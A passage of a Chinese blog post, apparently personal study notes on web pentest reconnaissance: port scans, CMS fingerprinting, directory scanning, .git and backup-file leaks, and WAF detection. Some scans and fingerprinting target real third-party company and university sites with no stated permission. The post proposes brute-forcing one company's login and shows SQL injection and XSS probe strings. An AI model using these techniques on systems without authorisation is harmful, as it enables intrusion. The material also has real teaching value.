OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=7
OS:F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=7F%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=37DE%RUD=G)IE
OS:(R=Y%DFI=N%T=7F%CD=Z)

Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2022-06-04T03:08:00
|_ start_date: N/A
|_nbstat: NetBIOS name: EXECUTOR, NetBIOS user: <unknown>, NetBIOS MAC: 2c:6d:c1:98:7d:03 (Intel Corporate)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required

TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
1 0.41 ms Executor.mshome.net (172.28.16.1)
2 0.43 ms Executor (192.168.43.44)

Nmap scan report for 192.168.43.1
Host is up (0.0065s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain dnsmasq 2.51
| dns-nsid:
|_ bind.version: dnsmasq-2.51
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=6/4%OT=53%CT=1%CU=35611%PV=Y%DS=2%DC=T%G=Y%TM=629ACC98
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11
OS:NW9%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN(
OS:R=Y%DF=Y%T=40%W=FFFF%O=M5B4NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=3EAE%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Network Distance: 2 hops

TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 192.168.43.44
2 7.82 ms 192.168.43.1

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (2 hosts up) scanned in 30.29 seconds

这里检测出了192.168.43.44的操作系统

1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

但是没有检测出192.168.43.1的操作系统

1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
其他方法
image-20220604112513527

masscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿Executor)-[/home/kali/mydir]
└─# masscan -p1-65535 --rate=10000 192.168.43.44
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-06-04 03:22:19 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 135/tcp on 192.168.43.44
Discovered open port 49664/tcp on 192.168.43.44
Discovered open port 49672/tcp on 192.168.43.44
Discovered open port 49666/tcp on 192.168.43.44
Discovered open port 54260/tcp on 192.168.43.44
Discovered open port 9955/tcp on 192.168.43.44
Discovered open port 902/tcp on 192.168.43.44
Discovered open port 445/tcp on 192.168.43.44
Discovered open port 49667/tcp on 192.168.43.44
Discovered open port 5040/tcp on 192.168.43.44
Discovered open port 49665/tcp on 192.168.43.44
Discovered open port 912/tcp on 192.168.43.44
Discovered open port 49669/tcp on 192.168.43.44
Discovered open port 139/tcp on 192.168.43.44
rate: 0.00-kpps, 100.00% done, waiting 4-secs, found=14

端口漏洞利用

旁站

一个IP或者域名所在的服务器有可能还运行着其他网站,目标站点和旁站对应于服务器的不同端口,对应于同一WEB服务的不同路径

主站点难以找到漏洞时考虑从旁站入侵

收集信息种类:

1.收集旁站的 域名信息

注册人姓名电话邮箱,NS服务器

2.收集旁站的 程序信息

服务器及中间件

脚本或者使用框架

后台及敏感目录

是否存在已知漏洞

在线网站查旁站

查旁网

从我的博客域名dustball.top开始查

image-20220604120742428

首先查到ip地址,然后再查ip地址185.199.109.153

image-20220604120923351

这些网站显然和博客是一个性质的,基于github page的搭建的

其中有一个

image-20220604121049066

根据我对二刺螈的理解,这里面准有好康的

image-20220604121151087

dddd

本地工具查旁站

端口查旁站

同一个主机是否开放了除80端口之外的http,https,http-proxy等服务

C段

C段就是通过一个路由器连接的主机集合

在线接口查询

查旁网

image-20220604162410662

本地工具扫描

nmap扫描C段

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Executor)-[/home/kali]
└─# nmap -sP 192.168.3.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 16:22 CST
Nmap scan report for 192.168.3.1
Host is up (0.0027s latency).
Nmap scan report for host.docker.internal (192.168.3.2)
Host is up (0.00026s latency).
Nmap scan report for 192.168.3.7
Host is up (0.0060s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.14 seconds

IIS Put Scanner

image-20220604162623631

指纹识别

啥叫指纹识别?

就是通过网页上留下的蛛丝马迹,识别出该网站使用哪一款CMS建站

比如页面底部的版权信息

image-20220604163706007

或者访问不存在的页面返回的错误信息

image-20220604192416711

这个错误页面可以修改,不让它暴露中间件信息

还要获取该CMS的版本信息

然后就可以到CMS的官网上下载源代码进行白盒测试了

或者目标使用的低版本CMS已经有漏洞被曝光,直接利用

指纹识别要收集的信息:

1.web服务器(中间件)类型版本

2.前端技术

3.CMS

4.开发语言

等等

在线指纹识别

比如某些企业的官网

尤其是乡镇上的小企业,必然没钱自己写一个网站后端,也就是请一些技术人员用现成的CMS建站吧,并且也意识不到更新的必要性

What CMS

Detect which CMS a site is using - What CMS?

image-20220604164434798

然而最新的wordpress已经到了6.0

image-20220604164700687

然后搜索wordpress 5.0漏洞

image-20220604164739355

当然4.9版本也是包含此漏洞的,这意味着什么呢?

yunsee

需要登录才可以查

然而注册还要邀请码

本地工具

御剑

有一个挖旁站的御剑,还有一个挖指纹的御剑

挖指纹这个是这样工作的:

image-20220604165921960

在Bin目录下面每个CMS的指纹写成一个txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PS D:\web安全\御剑\御剑+加强字典+批量\Bin> dir


目录: D:\web安全\御剑\御剑+加强字典+批量\Bin


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2013/4/24 15:40 530 aspcms.txt
-a---- 2013/4/24 15:41 1136 dedecms.txt
-a---- 2013/4/24 16:22 1378 discuz.txt
-a---- 2013/4/24 15:42 2290 drupal.txt
-a---- 2013/4/24 15:42 1918 dvbbs.txt
-a---- 2013/4/24 15:43 1563 ecshop.txt
-a---- 2013/4/24 15:43 595 emlog.txt
-a---- 2013/4/24 15:44 1834 empirecms.txt
-a---- 2013/4/24 15:45 898 espcms.txt
-a---- 2013/4/24 15:45 1397 foosuncms.txt
-a---- 2013/4/24 15:45 1109 hdwiki.txt
-a---- 2013/4/24 15:46 1772 joomla.txt
-a---- 2013/4/24 15:46 692 kesioncms.txt
-a---- 2013/4/24 15:50 2277 kingcms.txt
-a---- 2013/4/24 15:51 1018 ljcms.txt
-a---- 2013/4/24 15:51 786 php168.txt
-a---- 2013/4/24 15:52 2468 phpcms.txt
-a---- 2013/4/24 15:52 2041 phpwind.txt
-a---- 2013/4/24 15:52 2003 powereasy.txt
-a---- 2013/4/24 15:52 1691 qibosoft.txt
-a---- 2013/4/24 15:53 1428 siteserver.txt
-a---- 2013/4/24 15:53 795 southidc.txt
-a---- 2013/4/24 15:53 1106 wordpress.txt
-a---- 2013/4/24 15:53 1107 z-blog.txt

比如wordpress.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#范例:链接------关键字------CMS别称
#范例:连接------正则表达式------匹配关键字------CMS别称
/robots.txt------wordpress------WordPress
/license.txt------wordpress------WordPress
/readme.txt------wordpress------WordPress
/help.txt------wordpress------WordPress
/readme.html------wordpress------WordPress
/readme.htm------wordpress------WordPress
/wp-admin/css/colors-classic.css------wordpress------WordPress
/wp-admin/js/media-upload.dev.js------wordpress------WordPress
/wp-content/plugins/akismet/akismet.js------wordpress------WordPress
/wp-content/themes/classic/rtl.css------wordpress------WordPress
/wp-content/themes/twentyeleven/readme.txt------wordpress------WordPress
/wp-content/themes/twentyten/style.css------wordpress------WordPress
/wp-includes/css/buttons.css------wordpress------WordPress
/wp-includes/js/scriptaculous/wp-scriptaculous.js------wordpress------WordPress
/wp-includes/js/tinymce/langs/wp-langs-en.js------wordpress------WordPress
/wp-includes/js/tinymce/wp-tinymce.js------wordpress------WordPress
/wp-includes/wlwmanifest.xml------wordpress------WordPress

御剑在运行的时候会遍历每一个CMS的指纹文件的每一行,然后去该网站http://www.sdtxsn.com/

/robots.txt------wordpress------WordPress这一行

御剑就会尝试访问http://www.sdtxsn.com/robots.txt然后从里面寻找有没有wordpress字样,如果有则判定为wordpress CMS

显然这样判断是很武断的,稍微做一点手脚就可以骗过御剑

比如本地的DVWA靶场,在其根目录下robots.txt最后写一行wordpress

image-20220604170813339

保存之后用御剑去查

image-20220604170832582

御剑检查到wordpress.txt的第一行就是robots.txt然后去192.168.3.2/DVWA查该文件,发现有wordpress字样,于是就武断地认为是wordpress建的站.后面的检查也不做了

image-20220604170937466

要想让御剑继续检查就把wordpress.txt中关于robots.txt那一行注释掉

随着我们逐步了解更多CMS还有指纹信息,我们也可以拓展御剑的指纹字典或者新添加CMS指纹,增强御剑的功能

whatweb

1
2
3
┌──(root㉿Executor)-[/home/kali]
└─# whatweb http://www.sdtxsn.com/
http://www.sdtxsn.com/ [200 OK] All-in-one-SEO-Pack[2.3.11.1], Country[CHINA][CN], HTML5, HTTPServer[nginx/1.4.4], IP[121.36.56.23], JQuery[1.12.4,1.8.3], Modernizr[2.7.1.min], PHP[5.4.23], Script[text/javascript], Title[山东泰西水泥有限公 司 |], UncommonHeaders[link], WordPress, X-Powered-By[PHP/5.4.23], X-UA-Compatible[IE=edge], nginx[1.4.4]

php版本,cms类型,服务器类型和版本都查到了

查本地的DVWA靶场

1
2
3
4
5
6
┌──(root㉿Executor)-[/home/kali]
└─# whatweb http://192.168.3.2/DVWA
http://192.168.3.2/DVWA [301 Moved Permanently] Apache[2.4.39][mod_fcgid/2.3.9a,mod_log_rotate/1.02], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02], IP[192.168.3.2], OpenSSL[1.1.1b], RedirectLocation[http://192.168.3.2/DVWA/], Title[301 Moved Permanently]
http://192.168.3.2/DVWA/ [302 Found] Apache[2.4.39][mod_fcgid/2.3.9a,mod_log_rotate/1.02], Cookies[PHPSESSID,security], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02], HttpOnly[PHPSESSID,security], IP[192.168.3.2], OpenSSL[1.1.1b], PHP[5.6.9], RedirectLocation[login.php], X-Powered-By[PHP/5.6.9]
http://192.168.3.2/DVWA/login.php [302 Found] Apache[2.4.39][mod_fcgid/2.3.9a,mod_log_rotate/1.02], Cookies[PHPSESSID,security], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02], HttpOnly[PHPSESSID,security], IP[192.168.3.2], OpenSSL[1.1.1b], PHP[5.6.9], RedirectLocation[setup.php], X-Powered-By[PHP/5.6.9]
http://192.168.3.2/DVWA/setup.php [200 OK] Apache[2.4.39][mod_fcgid/2.3.9a,mod_log_rotate/1.02], Cookies[PHPSESSID,security], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02], HttpOnly[PHPSESSID,security], IP[192.168.3.2], OpenSSL[1.1.1b], PHP[5.6.9], Script[text/javascript], Title[Setup :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*], X-Powered-By[PHP/5.6.9]

查不到CMS信息,因为这个靶场压根就没有用CMS建站

但是查到了操作系统Win64,服务器中间件Apache,php版本5.6.9等信息

操作系统指纹识别

whatweb等工具也有操作系统指纹识别的功能

image-20220604191222243

curl --head <URL>

curl从终端上请求网页

--head选项意思是返回数据包头,丢弃数据主体

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Executor)-[/home/kali]
└─# curl --head http://www.sdtxsn.com/
HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Sat, 04 Jun 2022 11:14:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.23
Link: <http://www.sdtxsn.com/?rest_route=/>; rel="https://api.w.org/"
Link: <http://www.sdtxsn.com/>; rel=shortlink

如果目标使用操作系统是Windows,服务器是IIS中间件则Server这里应该写Microsoft-IIS/6.0(或者7.5等等版本)

微软的操作系统版本一般是和IIS中间件挂钩的,比如

WinServer2003使用的是IIS6.0

WinServer2008使用的是IIS7.5

image-20220604192537532

win11上的IIS版本更高

image-20220604192805045

而现在curl的返回值是

1
Server: nginx/1.4.4

表明目标是运行在nginx中间件上的,至于是Windows系统还是Linux系统尚未可知

实际上用浏览器直接访问目标然后用开发者工具也可以观察到数据包头

nmap -O -A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿Executor)-[/home/kali]
└─# nmap -O -A 192.168.43.44
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 19:28 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00023s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
...

Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

这里多处信息表明目标192.168.43.44是windows操作系统

网站路径扫描

原理:

原理就是猜测一个网站的目录有什么,尝试去访问该目录,根据返回的状态码确定其存不存在

比如http://www.sdtxsn.com/index.html

image-20220604194452563

404 NotFound的意思就是压根没有这个目录

但是尝试访问http://www.sdtxsn.com/index.php

会自动跳转到http://www.sdtxsn.com说明该主页就是index.php,本网站的后端语言就是php

又如猜测会有一个登录用的login.php

image-20220604194700315

尝试访问时得到返回状态码403 Forbidden,说明网站目录里有这个文件,但是没有访问权限

使用自动化的扫站工具,其基于上述原理,使用目录字典疯狂地向服务端发送请求,然后根据http返回状态判断该目录是否存在,是否可以访问

为啥要扫站?

1.有可能有后门文件比如shell.php,其中一句话木马口令有可能很简单比如'cmd',这样就可以骑别人的马子

2.可能有些敏感文件没有妥当设置保护,能够直接访问

robots.txt

后台

备份文件.bak,.sql,.txt,.zip,.tar,可能含有密码或者源代码

MySQL接口,比如phpMyAdmin

安装页面:建站一开始的安装页面,在建站完毕后及时删除,否则有可能导致重装

上传目录,通常是/upload/这种字样

编辑器漏洞

3.可能有些文件的访问权限没有设置好,本应该以管理员登录才能访问,却能够通过URL直接访问,即越权漏洞

本地自动化工具

御剑1.5

image-20220604195203548

这里御剑只是扫描到了稀松了了的东西,貌似御剑不会递归目录,他只会扫描指定到目录的下一层

burpsuite

在dashboard上new scan,然后输入目标URL地址就可以扫站

image-20220604195619671
image-20220604195550098

这里扫描到了一个后台登录文件wp-login.php,御剑的字典里就没有这个文件,此时就可以将他添加到御剑的目录字典里了

image-20220604195707350

后面就可以尝试暴力破解或者sql注入攻击或者社工等方式登录

image-20220604195936171

用repeater重复发送多次之后仍然没有让输入验证码,可以考虑使用暴力破解攻击了

并且随便输入用户名密码尝试登录,其报告错误为<div id="login_error"> <strong>错误</strong>:无效用户名。

还挺贴心地说用户名不对,这就可以让密码都是1,用sniper打用户名,直到获取到有效的用户名,再固定该用户名,sniper用密码字典打密码

这样就把复杂度从\(m*n\)降到了\(m+n\)

wwwscan

1
2
3
4
5
6
7
8
9
10
11
<Usage>:  D:\web安全\twoScan\wwwscan.exe <HostName|Ip> [Options]
<Options>:
-p port : set http/https port
-m thread : set max thread
-t timeout : tcp timeout in seconds
-r rootpath : set root path to scan
-ssl : will use ssl
<Example>:
D:\web安全\twoScan\wwwscan.exe www.target.com -p 8080 -m 10 -t 16
D:\web安全\twoScan\wwwscan.exe www.target.com -r "/test/" -p 80
D:\web安全\twoScan\wwwscan.exe www.target.com -ssl

-p指定目标端口

-m指定线程数

-t指定超时

-r指定次级目录,不写则为根目录

首先使用nmap扫描端口,看看目标的web服务器是不是在80端口开放

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\86135> nmap www.sdtxsn.com
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 20:08 中国标准时间
Nmap scan report for www.sdtxsn.com (121.36.56.23)
Host is up (0.046s latency).
rDNS record for 121.36.56.23: ecs-121-36-56-23.compute.hwclouds-dns.com
Not shown: 966 filtered tcp ports (no-response), 28 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1024/tcp open kdm
3306/tcp open mysql
3690/tcp open svn
8888/tcp open sun-answerbook

确实如此,然后wwwscan www.sdtxsn.com -p 80 -m 10 -t 4

但是结果wwwscan太逊了,啥也没扫到

dirbuster

linux上的扫站工具

1
dirb URL <字典>

其字典在/usr/share/dirb/wordlists/下面放着

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Executor)-[/usr/share/dirb/wordlists]
└─# ls -l
total 260
-rw-r--r-- 1 root root 184073 Jan 25 2012 big.txt
-rw-r--r-- 1 root root 1292 Jan 27 2012 catala.txt
-rw-r--r-- 1 root root 35849 Nov 17 2014 common.txt
-rw-r--r-- 1 root root 1492 May 23 2012 euskera.txt
-rw-r--r-- 1 root root 142 Dec 29 2005 extensions_common.txt
-rw-r--r-- 1 root root 75 Mar 16 2012 indexes.txt
-rw-r--r-- 1 root root 244 Dec 29 2005 mutations_common.txt
drwxr-xr-x 2 root root 4096 Apr 28 17:15 others
-rw-r--r-- 1 root root 6561 Mar 5 2014 small.txt
-rw-r--r-- 1 root root 3731 Nov 13 2014 spanish.txt
drwxr-xr-x 2 root root 4096 Apr 28 17:15 stress
drwxr-xr-x 2 root root 4096 Apr 28 17:15 vulns

有很多本字典,甚至子文件夹里还有字典,可以把这些字典送给御剑等软件增强其功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Executor)-[/home/kali]
└─# dirb http://www.sdtxsn.com/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Jun 4 20:18:46 2022
URL_BASE: http://www.sdtxsn.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://www.sdtxsn.com/ ----
+ http://www.sdtxsn.com/admin.php (CODE:403|SIZE:570)
--> Testing: http://www.sdtxsn.com/alert

网站源码泄漏

image-20220604204704933

.git源码泄漏

这个玩意的原理需要稍微学一下git的使用Git 基本操作 | 菜鸟教程 (runoob.com)

这个锅应该是写CMS的一伙子程序员背

git init初始化代码库之后会在工作目录下面生成.git隐藏文件

image-20220604205017452

这个玩意儿是用来记录代码变更记录的,方便代码写毁球的时候退回到早期的版本

这个目录默认是隐藏的,在windows上如果不设置查看隐藏文件是不会显示的

然后写CMS的一伙子人在发布其CMS源代码的时候忘记删除这个玩意儿了,建站的企业可能对这个玩意不甚了解,以为是网站支持文件,或者由于其隐藏根本不知道有这个东西.建立的网站根目录下就藏着这么一个.git目录

诚如是,我们就可以使用GitHack下载还原出源代码

具体怎么各操作呢?我们首先模拟一伙子写CMS的苦逼程序员,

程序员视角

我们首先初始化一个版本管理仓库

1
2
PS D:\phpstudy_pro\WWW\AtomCMS> git init
Reinitialized existing Git repository in D:/phpstudy_pro/WWW/AtomCMS/.git/

我们经历千辛万苦,终于写好了一个后端(这里直接下载了一个AtomCMS)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS D:\phpstudy_pro\WWW\AtomCMS> dir


目录: D:\phpstudy_pro\WWW\AtomCMS


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2022/4/14 21:38 .idea
d----- 2022/4/14 18:00 admin
d----- 2022/4/13 21:12 config
d----- 2022/4/13 21:21 functions
d----- 2022/4/13 20:26 images
d----- 2022/4/13 20:26 template
d----- 2022/4/14 17:49 uploads
d----- 2022/4/13 20:26 views
d----- 2022/4/13 20:26 widgets
------ 2015/10/22 3:16 22 .gitignore
------ 2015/10/22 3:16 162 .htaccess
------ 2015/10/22 3:16 301 .project
------ 2015/10/22 3:16 12 CNAME
------ 2015/10/22 3:16 5048 database-video81.sql
------ 2015/10/22 3:16 4963 database.sql
------ 2015/10/22 3:16 176 index.php
------ 2015/10/22 3:16 9872 README.md

然后我们保存此次版本,

首先将代码放到暂存区

1
PS D:\phpstudy_pro\WWW\AtomCMS> git add .

然后将暂存区提交到本地仓库

1
2
PS D:\phpstudy_pro\WWW\AtomCMS> git commit
Aborting commit due to empty commit message.

然后我们将这些东西上传到了github供其他人下载使用,但是忘记删除.git目录了.

程序员的工作就完成了,下面我们站在用户视角

用户视角

用户在github上,下载了该CMS的源代码,.git也随之进入网站根目录,现在我们站在用户的视角,我们用phpstudy模拟建站的过程

建立网站之后,我们可以通过ip地址(内网模拟)或者域名(没买)访问该网站

image-20220604210301690

用户的工作就完成了

现在我们站在攻击者的视角.

攻击者视角

攻击者尝试访问/.git目录

image-20220604210528946

发现没有访问权限,这个文件夹是有可能存在的,不妨试一试

于是他拿出了GitHack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿Executor)-[/mnt/d/web安全/GitHack-master]
└─$ python2 GitHack.py http://192.168.43.44/AtomCMS/.git
[+] Download and parse index file ...
.gitignore
.htaccess
.idea/.gitignore
.idea/AtomCMS.iml
.idea/modules.xml
.project
CNAME
README.md
admin/ajax/avatar.php
admin/ajax/blur-save.php
....

真就下载到了网站源代码,保存到了GitHack-master/192.168.43.44/下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS D:\web安全\GitHack-master\192.168.43.44> dir


目录: D:\web安全\GitHack-master\192.168.43.44


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2022/6/4 20:56 .idea
d----- 2022/6/4 20:56 admin
d----- 2022/6/4 20:56 config
d----- 2022/6/4 20:56 functions
d----- 2022/6/4 20:56 images
d----- 2022/6/4 20:56 template
d----- 2022/6/4 20:56 uploads
d----- 2022/6/4 20:56 views
d----- 2022/6/4 20:56 widgets
-a---- 2022/6/4 21:06 22 .gitignore
-a---- 2022/6/4 21:06 162 .htaccess
-a---- 2022/6/4 21:06 301 .project
-a---- 2022/6/4 21:06 12 CNAME
-a---- 2022/6/4 21:06 5048 database-video81.sql
-a---- 2022/6/4 21:06 4963 database.sql
-a---- 2022/6/4 21:06 176 index.php
-a---- 2022/6/4 21:06 9872 README.md

至于GitHack的原理,由于我们有GitHack.py源代码,只要想研究应该可以明白的,但是对于一个python和git都是初学的球,现在不是时候

SVN源码泄漏

现在都用git仓库了,不会还有人使用SVN吧?

(其实是没学过SVN不会复现该漏洞罢了)

.DS_Store文件泄漏

image-20220604211429182

苹果电脑吗...不想研究

网站备份文件泄漏

该漏洞需要两个条件

1.存在备份文件,比如.swp,.bak,.zip等类型

这是有可能的,比如网站升级或者修改的时候,一个有着"好"习惯的管理员都应该备份一下再做修改.但是备份在网站目录下就不对了

2.网站没有设置好访问权限,导致这些备份文件可以被访问下载

swp文件

如果后端在linux上,那么有很大机率管理员会使用vim修改文件

当vim修改文件并正常退出(Esc之后:wq)则啥事没有

如果管理员很暴躁,vim打开文件之后直接Ctrl+z中断退出,则会在同一目录下留下.swp文件

实际上是编辑时产生,正常退出时删除,

ctrl+c导致没有正常退出,没有删除

为啥编辑时要产生这么一个文件呢?

试想如果编辑了一阵子改毁球了,怎么撤销修改退回一开始的版本呢?这就是刚开始编辑时生成的swp文件的作用

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿Executor)-[/mnt/d/phpstudy_pro/www/atomcms]
└─$ ls -a -l
total 36
drwxrwxrwx 1 kali kali 4096 Jun 4 21:18 .
drwxrwxrwx 1 kali kali 4096 Apr 26 20:53 ..
...
-rwxrwxrwx 1 kali kali 176 Oct 22 2015 index.php
-rwxrwxrwx 1 kali kali 4096 Jun 4 21:18 .index.php.swo
-rwxrwxrwx 1 kali kali 4096 Jun 4 21:18 .index.php.swp
...

这里.index.php.swp就是备份文件,.swo是两次暴躁生成 的,下一次再暴躁就有.swn

诚如是,则在URL中直接访问该.index.php.swp文件就可以看到文件源代码了(意思是该文件会被作为.txt解析)

然鹅我做实验时访问该文件会获得http505状态码

zip文件

如果在网站目录下面有一个zip文件,那么在URL上访问它是可以直接下载的

image-20220604213228081

如果网站管理员又懒又屑,建站的时候直接把压缩包放在根目录下面解压建站,完事儿还忘记删除该压缩包,这就相当于直接把白盒给我们了

漏洞修复

1.删除不该有的文件和目录

.git,.svn,.zip,.bak,.DS_Store等等

2.修改web服务器的配置文件,拒绝对.svn,.git路径的访问

目标历史漏洞收集

收集目标站点的CMS,中间件,数据库,操作系统等组件的类型版本信息,然后去各大漏洞库查询该版本曝光的漏洞

比如阿里云漏洞库

image-20220604223309338

就可以根据别人的漏洞复现进行攻击了

相当于有老师带着做的白盒测试

阿里云漏洞库

查询wordpressCMS的所有漏洞

image-20220604232200215

国家信息安全漏洞库CNNVD

WAF识别

WAF(web application firewell)web应用防火墙

image-20220604235137919

WAF提供应用层的防护

image-20220605091858083

WAF识别

发送不正确的URL访问,触发WAF的防护,根据WAF的相应判断WAF的指纹

常用的WAF识别工具:

wafw00f,nmap,sqlmap

手工方法

cookie值识别
HTTP响应头识别
构造恶意负载
1
http://www.washun.com/search.php?q=-1%20union%20select%201
image-20220605094155821

自动化工具

wafw00f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Executor)-[/home/kali]
└─# wafw00f http://www.sdtxsn.com/

______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\

~ WAFW00F : v2.1.0 ~
The Web Application Firewall Fingerprinting Toolkit

[*] Checking http://www.sdtxsn.com/
[+] Generic Detection results:
[-] No WAF detected by the generic detection
[~] Number of requests: 7

wafw00f没有检测出waf

nmap

测试waf是否存在

1
nmap <目标域名> --script=http-waf-detect.nse 
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Executor)-[/home/kali]
└─# nmap www.sdtxsn.com --script=http-waf-detect.nse -p 80
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-05 09:33 CST
Nmap scan report for www.sdtxsn.com (121.36.56.23)
Host is up (0.044s latency).
rDNS record for 121.36.56.23: ecs-121-36-56-23.compute.hwclouds-dns.com

PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds

这里就没有检测到waf存在

拿学校官网试一下

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Executor)-[/home/kali]
└─# nmap ehall.xidian.edu.cn --script=http-waf-detect.nse -p 80
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-05 09:34 CST
Nmap scan report for ehall.xidian.edu.cn (61.150.43.100)
Host is up (0.022s latency).

PORT STATE SERVICE
80/tcp open http
| http-waf-detect: IDS/IPS/WAF detected:
|_ehall.xidian.edu.cn:80/?p4yl04d3=<script>alert(document.cookie)</script>

Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds

发现是有防火墙存在的,检测方法是在主页上构造xss攻击负载,结果被拦截

判断waf指纹

1
nmap <目标域名> --script=http-waf-fingerprint
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Executor)-[/home/kali]
└─# nmap ehall.xidian.edu.cn --script=http-waf-fingerprint -p 80,443
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-05 09:37 CST
